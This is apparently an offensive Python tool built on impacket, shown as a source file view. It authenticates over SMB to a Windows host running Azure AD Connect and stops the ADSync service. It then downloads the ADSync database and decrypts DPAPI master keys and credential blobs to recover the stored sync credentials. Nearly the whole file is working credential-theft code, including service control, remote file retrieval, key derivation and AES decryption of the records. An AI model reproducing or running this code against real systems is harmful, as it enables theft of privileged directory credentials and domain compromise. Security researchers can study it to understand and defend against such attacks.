411 lines
16 KiB
Python
411 lines
16 KiB
Python
|
import codecs
|
||
|
import logging
|
||
|
import os
|
||
|
import time
|
||
|
import sys
|
||
|
import ntpath
|
||
|
from binascii import unhexlify
|
||
|
from impacket import version
|
||
|
from impacket.uuid import string_to_bin, bin_to_string
|
||
|
from impacket.examples import logger
|
||
|
from impacket import smb3structs
|
||
|
from impacket.smbconnection import SMBConnection, SessionError
|
||
|
from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
|
||
|
from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes, OfflineRegistry, RemoteFile
|
||
|
from impacket.dpapi import MasterKeyFile, MasterKey, DPAPI_BLOB, CredentialFile, CREDENTIAL_BLOB
|
||
|
from impacket.winregistry import hexdump
|
||
|
from Cryptodome.Hash import HMAC, SHA1, MD4
|
||
|
from hashlib import pbkdf2_hmac
|
||
|
import subprocess
|
||
|
import xml.etree.ElementTree as ET
|
||
|
import base64
|
||
|
import hashlib
|
||
|
import binascii
|
||
|
import codecs
|
||
|
import sys
|
||
|
from Cryptodome import Random
|
||
|
from Cryptodome.Cipher import AES
|
||
|
|
||
|
def unpad(s):
|
||
|
return s[:-ord(s[len(s)-1:])]
|
||
|
|
||
|
def deriveKeysFromUserkey(sid, pwdhash):
|
||
|
if len(pwdhash) == 20:
|
||
|
# SHA1
|
||
|
key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest()
|
||
|
key2 = None
|
||
|
else:
|
||
|
# Assume MD4
|
||
|
key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest()
|
||
|
# For Protected users
|
||
|
tmpKey = pbkdf2_hmac('sha256', pwdhash, sid.encode('utf-16le'), 10000)
|
||
|
tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16]
|
||
|
key2 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20]
|
||
|
|
||
|
return key1, key2
|
||
|
|
||
|
class RemoteFileRO(RemoteFile):
|
||
|
'''
|
||
|
RemoteFile class that doesn't remove the file on close
|
||
|
'''
|
||
|
def __init__(self, smbConnection, fileName, tree='ADMIN$'):
|
||
|
RemoteFile.__init__(self, smbConnection, fileName)
|
||
|
self._RemoteFile__tid = smbConnection.connectTree(tree)
|
||
|
|
||
|
def close(self):
|
||
|
if self._RemoteFile__fid is not None:
|
||
|
self._RemoteFile__smbConnection.closeFile(self._RemoteFile__tid, self._RemoteFile__fid)
|
||
|
self._RemoteFile__fid = None
|
||
|
|
||
|
class ADSRemoteOperations(RemoteOperations):
|
||
|
def __init__(self, smbConnection, doKerberos, kdcHost=None, options=None):
|
||
|
RemoteOperations.__init__(self, smbConnection, doKerberos, kdcHost)
|
||
|
self.__smbConnection = smbConnection
|
||
|
self.__serviceName = 'ADSync'
|
||
|
self.__shouldStart = False
|
||
|
self.__options = options
|
||
|
|
||
|
def gatherAdSyncMdb(self):
|
||
|
# Assume DB was already downloaded
|
||
|
#if self.__options.existing_db:
|
||
|
# return
|
||
|
self.__connectSvcCtl()
|
||
|
try:
|
||
|
self.__checkServiceStatus()
|
||
|
logging.info('Downloading ADSync database files')
|
||
|
with open('ADSync.mdf','wb') as fh:
|
||
|
self.__smbConnection.getFile('C$',r'Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf', fh.write)
|
||
|
with open('ADSync_log.LDF','wb') as fh:
|
||
|
self.__smbConnection.getFile('C$',r'Program Files\Microsoft Azure AD Sync\Data\ADSync_log.ldf', fh.write)
|
||
|
finally:
|
||
|
self.__restore_adsync()
|
||
|
|
||
|
def gatherCredentialFiles(self, basepath):
|
||
|
items = self.__smbConnection.listPath('C$', r'{0}\AppData\Local\Microsoft\Credentials\\*'.format(basepath))
|
||
|
outvaults = []
|
||
|
for item in items:
|
||
|
if item.get_longname() == '.' or item.get_longname() == '..':
|
||
|
continue
|
||
|
outvaults.append(item.get_longname())
|
||
|
return outvaults
|
||
|
|
||
|
def findBasePath(self):
|
||
|
basepaths = [
|
||
|
r'Users\ADSync',
|
||
|
r'Windows\ServiceProfiles\ADSync',
|
||
|
]
|
||
|
outbasepath = None
|
||
|
for basepath in basepaths:
|
||
|
try:
|
||
|
# Query folder
|
||
|
items = self.__smbConnection.listPath('C$', r'{0}\AppData\*'.format(basepath))
|
||
|
# If folder exists, break
|
||
|
outbasepath = basepath
|
||
|
break
|
||
|
except SessionError as err:
|
||
|
if 'STATUS_OBJECT_PATH_NOT_FOUND' in str(err):
|
||
|
items = None
|
||
|
# Try a different basepath
|
||
|
continue
|
||
|
if items is None:
|
||
|
logging.error('Could not find the ADSync profile directory')
|
||
|
return
|
||
|
|
||
|
return outbasepath
|
||
|
|
||
|
def processCredentialFile(self, file, userkey, basepath):
|
||
|
tsid = None
|
||
|
|
||
|
logging.info('Querying credential file %s', file)
|
||
|
remoteFileName = RemoteFileRO(self.__smbConnection, r'{1}\AppData\Local\Microsoft\Credentials\{0}'.format(file, basepath), tree="C$")
|
||
|
try:
|
||
|
remoteFileName.open()
|
||
|
data = remoteFileName.read(8000)
|
||
|
cred = CredentialFile(data)
|
||
|
# if logging.getLogger().level == logging.DEBUG:
|
||
|
# cred.dump()
|
||
|
blob = DPAPI_BLOB(cred['Data'])
|
||
|
finally:
|
||
|
remoteFileName.close()
|
||
|
gmk = bin_to_string(blob['GuidMasterKey'])
|
||
|
|
||
|
items = self.__smbConnection.listPath('C$', r'%s\AppData\Roaming\Microsoft\Protect\*' % basepath)
|
||
|
|
||
|
for item in items:
|
||
|
if item.get_longname().startswith('S-1-5-80'):
|
||
|
tsid = item.get_longname()
|
||
|
logging.info(r'Found SID %s for NT SERVICE\ADSync Virtual Account', tsid)
|
||
|
|
||
|
if tsid is None:
|
||
|
logging.error('Could not determine SID for ADSync user - cannot continue searching for masterkeys')
|
||
|
return
|
||
|
|
||
|
key1, key2 = deriveKeysFromUserkey(tsid, userkey)
|
||
|
remoteFileName = RemoteFileRO(self.__smbConnection, r'{2}\AppData\Roaming\Microsoft\Protect\{0}\{1}'.format(tsid, gmk, basepath), tree="C$")
|
||
|
try:
|
||
|
remoteFileName.open()
|
||
|
data = remoteFileName.read(8000)
|
||
|
mkf = MasterKeyFile(data)
|
||
|
if logging.getLogger().level == logging.DEBUG:
|
||
|
mkf.dump()
|
||
|
data = data[len(mkf):]
|
||
|
# Extract master key
|
||
|
if mkf['MasterKeyLen'] > 0:
|
||
|
mk = MasterKey(data[:mkf['MasterKeyLen']])
|
||
|
data = data[len(mk):]
|
||
|
decryptedKey = mk.decrypt(key1)
|
||
|
if not decryptedKey:
|
||
|
decryptedKey = mk.decrypt(key2)
|
||
|
if not decryptedKey:
|
||
|
logging.error('Encryption of masterkey failed using SYSTEM UserKey + SID')
|
||
|
return
|
||
|
logging.info('Decrypted ADSync user masterkey using SYSTEM UserKey + SID')
|
||
|
data = CREDENTIAL_BLOB(blob.decrypt(decryptedKey))
|
||
|
# if logging.getLogger().level == logging.DEBUG:
|
||
|
# data.dump()
|
||
|
# print(data['Target'])
|
||
|
if 'Microsoft_AzureADConnect_KeySet' in data['Target'].decode('utf-16le'):
|
||
|
parts = data['Target'].decode('utf-16le')[:-1].split('_')
|
||
|
return {
|
||
|
'instanceid': parts[3][1:-1].lower(),
|
||
|
'keyset_id': parts[4],
|
||
|
'data': data['Unknown3']
|
||
|
}
|
||
|
else:
|
||
|
logging.info('Found credential containing %s, attempting next', data['Target'])
|
||
|
return
|
||
|
except SessionError as e:
|
||
|
if 'STATUS_OBJECT_PATH_NOT_FOUND' in str(e):
|
||
|
logging.error('Could not find masterkey for file with GUID %s', gmk)
|
||
|
else:
|
||
|
raise
|
||
|
finally:
|
||
|
remoteFileName.close()
|
||
|
|
||
|
def decryptDpapiBlobSystemkey(self, item, key, entropy):
|
||
|
cryptkey = None
|
||
|
kb = DPAPI_BLOB(item)
|
||
|
mk = bin_to_string(kb['GuidMasterKey'])
|
||
|
logging.info('Decrypting DPAPI data with masterkey %s', mk)
|
||
|
# We use the RO class here since the regular class removes the file on exit
|
||
|
# Deleting DPAPI keys doesn't seem like the best idea, so best not to do this
|
||
|
remoteFileName = RemoteFileRO(self.__smbConnection, 'SYSTEM32\\Microsoft\\Protect\\S-1-5-18\\%s' % mk)
|
||
|
try:
|
||
|
remoteFileName.open()
|
||
|
data = remoteFileName.read(2000)
|
||
|
mkf = MasterKeyFile(data)
|
||
|
if logging.getLogger().level == logging.DEBUG:
|
||
|
mkf.dump()
|
||
|
data = data[len(mkf):]
|
||
|
# Extract master key
|
||
|
if mkf['MasterKeyLen'] > 0:
|
||
|
mk = MasterKey(data[:mkf['MasterKeyLen']])
|
||
|
data = data[len(mk):]
|
||
|
decryptedKey = mk.decrypt(key)
|
||
|
try:
|
||
|
decryptedkey = kb.decrypt(decryptedKey, entropy=entropy)
|
||
|
cryptkey = decryptedkey
|
||
|
if logging.getLogger().level == logging.DEBUG:
|
||
|
hexdump(decryptedkey)
|
||
|
except Exception as ex:
|
||
|
logging.error('Could not decrypt keyset %s: %s', item, str(ex))
|
||
|
finally:
|
||
|
remoteFileName.close()
|
||
|
return cryptkey
|
||
|
|
||
|
def getMdbData(self, codec='utf-8'):
|
||
|
|
||
|
out = {
|
||
|
'cryptedrecords': [],
|
||
|
'xmldata': []
|
||
|
}
|
||
|
keydata = None
|
||
|
#
|
||
|
if self.__options.from_file:
|
||
|
logging.info('Loading configuration data from %s on filesystem', self.__options.from_file)
|
||
|
infile = codecs.open(self.__options.from_file, 'r', codec)
|
||
|
enumtarget = infile
|
||
|
else:
|
||
|
logging.info('Querying database for configuration data')
|
||
|
dbpath = os.path.join(os.getcwd(), r"ADSync.mdf")
|
||
|
output = subprocess.Popen(["ADSyncQuery.exe", dbpath], stdout=subprocess.PIPE).communicate()[0]
|
||
|
enumtarget = output.split('\n')
|
||
|
for line in enumtarget:
|
||
|
try:
|
||
|
ltype, data = line.strip().split(': ')
|
||
|
except ValueError:
|
||
|
continue
|
||
|
ltype = ltype.replace(u'\ufeff',u'')
|
||
|
if ltype.lower() == 'record':
|
||
|
xmldata, crypteddata = data.split(';')
|
||
|
out['cryptedrecords'].append(crypteddata)
|
||
|
out['xmldata'].append(xmldata)
|
||
|
|
||
|
if ltype.lower() == 'config':
|
||
|
instance, keyset_id, entropy = data.split(';')
|
||
|
out['instance'] = instance
|
||
|
out['keyset_id'] = keyset_id
|
||
|
out['entropy'] = entropy
|
||
|
if self.__options.from_file:
|
||
|
infile.close()
|
||
|
# Check if all values are in the outdata
|
||
|
required = ['cryptedrecords', 'xmldata', 'instance', 'keyset_id', 'entropy']
|
||
|
for option in required:
|
||
|
if not option in out:
|
||
|
logging.error('Missing data from database. Option %s could not be extracted. Check your database or output file.', option)
|
||
|
return None
|
||
|
return out
|
||
|
|
||
|
|
||
|
def saveADSYNC(self):
|
||
|
logging.debug('Saving AD Sync data')
|
||
|
return self._RemoteOperations__retrieveHive('SOFTWARE\\Microsoft\\Ad Sync')
|
||
|
|
||
|
def __restore_adsync(self):
|
||
|
# First of all stop the service if it was originally stopped
|
||
|
if self.__shouldStart is True:
|
||
|
logging.info('Starting service %s' % self.__serviceName)
|
||
|
scmr.hRStartServiceW(self.__scmr, self.__serviceHandle)
|
||
|
|
||
|
def __connectSvcCtl(self):
|
||
|
rpc = transport.DCERPCTransportFactory(self._RemoteOperations__stringBindingSvcCtl)
|
||
|
rpc.set_smb_connection(self.__smbConnection)
|
||
|
self.__scmr = rpc.get_dce_rpc()
|
||
|
self.__scmr.connect()
|
||
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||
|
|
||
|
def __checkServiceStatus(self):
|
||
|
# Open SC Manager
|
||
|
ans = scmr.hROpenSCManagerW(self.__scmr)
|
||
|
self.__scManagerHandle = ans['lpScHandle']
|
||
|
# Now let's open the service
|
||
|
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
|
||
|
self.__serviceHandle = ans['lpServiceHandle']
|
||
|
# Let's check its status
|
||
|
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
|
||
|
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
|
||
|
logging.info('Service %s is in stopped state'% self.__serviceName)
|
||
|
self.__shouldStart = False
|
||
|
self.__stopped = True
|
||
|
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
|
||
|
logging.debug('Service %s is running'% self.__serviceName)
|
||
|
self.__shouldStart = True
|
||
|
self.__stopped = False
|
||
|
else:
|
||
|
raise Exception('Unknown service state 0x%x - Aborting' % ans['lpServiceStatus']['dwCurrentState'])
|
||
|
# If service is running, stop it temporarily
|
||
|
if self.__stopped is False:
|
||
|
logging.info('Stopping service %s' % self.__serviceName)
|
||
|
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
||
|
i = 0
|
||
|
time.sleep(3)
|
||
|
# Wait till it is stopped
|
||
|
while i < 20:
|
||
|
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
|
||
|
if ans['lpServiceStatus']['dwCurrentState'] != scmr.SERVICE_STOPPED:
|
||
|
i+=1
|
||
|
time.sleep(1)
|
||
|
else:
|
||
|
return
|
||
|
raise Exception('Failed to stop service within 20 seconds - Aborting')
|
||
|
|
||
|
|
||
|
|
||
|
class ADSync(OfflineRegistry):
|
||
|
def __init__(self, samFile, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)):
|
||
|
OfflineRegistry.__init__(self, samFile, isRemote)
|
||
|
self.__samFile = samFile
|
||
|
self.__hashedBootKey = ''
|
||
|
self.__itemsFound = {}
|
||
|
self.__itemsWithKey = {}
|
||
|
self.__perSecretCallback = perSecretCallback
|
||
|
|
||
|
def dump(self):
|
||
|
logging.info('In dump')
|
||
|
for key in self.enumKey('Shared'):
|
||
|
logging.info('Found keyset ID %s', key)
|
||
|
value = self.getValue(ntpath.join('Shared',key,'default'))
|
||
|
if value is not None:
|
||
|
self.__itemsFound[key] = value[1]
|
||
|
|
||
|
def process(self, remoteops, key, entropy):
|
||
|
cryptkeys = []
|
||
|
for index, item in self.__itemsFound.items():
|
||
|
remoteops.decryptDpapiBlobSystemkey(item, key, entropy)
|
||
|
return cryptkeys
|
||
|
|
||
|
class DumpSecrets:
|
||
|
def __init__(self, remoteName, username='', password='', domain='', options=None):
|
||
|
self.__remoteName = remoteName
|
||
|
self.__remoteHost = options.target_ip
|
||
|
self.__username = username
|
||
|
self.__password = password
|
||
|
self.__domain = domain
|
||
|
self.__lmhash = ''
|
||
|
self.__nthash = ''
|
||
|
self.__aesKey = options.aesKey
|
||
|
self.__smbConnection = None
|
||
|
self.__remoteOps = None
|
||
|
self.__SAMHashes = None
|
||
|
self.__NTDSHashes = None
|
||
|
self.__LSASecrets = None
|
||
|
self.__adSyncHive = None
|
||
|
self.__noLMHash = True
|
||
|
self.__isRemote = True
|
||
|
self.__outputFileName = options.outputfile
|
||
|
self.__doKerberos = options.k
|
||
|
self.__canProcessSAMLSA = True
|
||
|
self.__kdcHost = options.dc_ip
|
||
|
self.__options = options
|
||
|
self.dpapiSystem = None
|
||
|
|
||
|
if options.hashes is not None:
|
||
|
self.__lmhash, self.__nthash = options.hashes.split(':')
|
||
|
|
||
|
def connect(self):
|
||
|
# Debugging only
|
||
|
# self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost, preferredDialect=smb3structs.SMB2_DIALECT_21)
|
||
|
self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
|
||
|
|
||
|
if self.__doKerberos:
|
||
|
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
|
||
|
self.__nthash, self.__aesKey, self.__kdcHost)
|
||
|
else:
|
||
|
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||
|
|
||
|
@staticmethod
|
||
|
def decrypt(record, keyblob):
|
||
|
# print repr(keyblob)
|
||
|
# print binascii.hexlify(keyblob[-44:])
|
||
|
key1 = keyblob[-44:]
|
||
|
# print binascii.hexlify(keyblob[-88:-44])
|
||
|
key2 = keyblob[-88:-44]
|
||
|
|
||
|
dcrypt = base64.b64decode(record)
|
||
|
# hexdump(dcrypt)
|
||
|
iv = dcrypt[8:24]
|
||
|
# hexdump(iv)
|
||
|
cryptdata = dcrypt[24:]
|
||
|
|
||
|
cipher = AES.new(key2[12:], AES.MODE_CBC, iv)
|
||
|
return unpad(cipher.decrypt(cryptdata)).decode('utf-16-le')
|
||
|
|
||
|
# From examples/dpapi.py
|
||
|
def getDPAPI_SYSTEM(self,secretType, secret):
|
||
|
if secret.startswith("dpapi_machinekey:"):
|
||
|
machineKey, userKey = secret.split('\n')
|
||
|
machineKey = machineKey.split(':')[1]
|
||
|
userKey = userKey.split(':')[1]
|
||
|
self.dpapiSystem = {}
|
||
|
self.dpapiSystem['MachineKey'] = unhexlify(machineKey[2:])
|
||
|
self.dpapiSystem['UserKey'] = unhexlify(userKey[2:])
|
||
|
logging.info('Found DPAPI machine key: %s', machineKey)
|
||
|
|
||
|
def fetchMdb(self):
|
||
|
self.__remoteOps.gatherAdSyncMdb()
|
||
|
|
||
|
def getMdbData(self):
|
||
|
try:
|
||
|
return self.__remoteOps.getMdbData()
|
||
|
except UnicodeDecodeError:
|
||
|
return self.__remoteOps.getMdbData('utf-16-le')
|